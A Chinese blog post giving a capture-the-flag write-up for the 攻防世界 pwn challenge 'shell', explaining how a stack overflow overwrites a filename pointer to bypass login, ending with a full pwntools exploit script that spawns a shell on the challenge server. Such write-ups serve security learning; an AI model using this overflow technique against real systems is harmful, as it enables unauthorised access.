欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界(pwn) shell——c代码审计题

程序员文章站 2022-05-15 21:48:32
...

前言:

此题难度没有前几题或者后几题难度大,考验的是对c程序逻辑的理解。
攻防世界(pwn) shell——c代码审计题
开了canary和NX保护,我们打首先运行一下程序查看程序的逻辑。
攻防世界(pwn) shell——c代码审计题
程序打开了一个shell,但是只能运行ls指令,不能运行cat指令,这样我们就不能查看远端的信息了。
我们打开IDA看看程序的逻辑。
攻防世界(pwn) shell——c代码审计题
通过IDA的提示,我们知道,程序还可以运行login指令,他是一个登录程序,登录成功后就可以获取权限。
我们继续往下看,看看这个程序怎样才会登录成功。
攻防世界(pwn) shell——c代码审计题
我们输入的username和password会被程序和filename文件里面的字符串进行对比,只要filename里边特定存在他们,就会登录成功。
首先我们来看看filename是哪个文件?
攻防世界(pwn) shell——c代码审计题
他就是creds.txt文件,然后我们来看看我们是如何取出creds.txt里边的字符串的。
攻防世界(pwn) shell——c代码审计题
这里就涉及两个函数了:

getline:成员函数getline()是从输入流中读取一行字符,读到终止符时会将’0’存入结果缓冲区中,作为输入的终止。终止符可以是默认的终止符,也可以是定义的终止符。——————————引自百度百科

strtok:分解字符串为一组字符串。s为要分解的字符串,delim为分隔符字符串。
例如:strtok(“abc,def,ghi”,","),最后可以分割成为abc def ghi.尤其在点分十进制的IP中提取应用较多。
strtok的函数原型为char *strtok(char *s, char *delim),功能为“Parse S into tokens separated by characters in DELIM.If S is NULL, the saved pointer in SAVE_PTR is used as the next starting point. ” 翻译成汉语就是:作用于字符串s,以包含在delim中的字符为分界符,将s切分成一个个子串;如果,s为空值NULL,则函数保存的指针SAVE_PTR在下一次调用中将作为起始位置。——引自百度百科

我们发现程序会读取文件中的字符串,然后会把":"前后的字符串作为username和password。
但是我们并不知道creds.txt中的字符串内容。
我们发现程序中有一个明显栈溢出漏洞,相信大家一下子就看出来了。
攻防世界(pwn) shell——c代码审计题
攻防世界(pwn) shell——c代码审计题
我们只需要从v17溢出到filename指针,把文件地址改了就行,我们看一下字符串窗口。
攻防世界(pwn) shell——c代码审计题
看到这个文件是不是很熟悉?没错,他就是链接文件,链接动态llibc库用的,但是他和这题又有什么关系呢?
我们在下载题目文件时,是不是发现题目给了这个文件,恰好远端也有这个文件,我们就可以利用这个文件,来读取利用这个文件里边的字符串,这样我们就可以登录并且提权成功了。
我们用IDA打开这个文件,查看字符串:
攻防世界(pwn) shell——c代码审计题
这里发现有很多个(不只两个),我们随便使用一个就可以了。
完整exp:

! /usr/bin/env python
from pwn import *

local = 1
if local:
    p = process('./shell')
else:
    p = remote('159.138.137.79', *****)

p.sendline('login')
p.sendlineafter('Username: ', 'aaa')
payload = 'a' * 0x44 + p64(0x400200)
p.sendlineafter('Password: ',payload)
p.sendlineafter('Authentication failed!', 'login')
p.sendlineafter('Username: ','calling init')
p.sendlineafter('Password: ',' %s')
p.sendlineafter('Authenticated!', 'sh')
p.interactive()
相关标签: pwn 栈溢出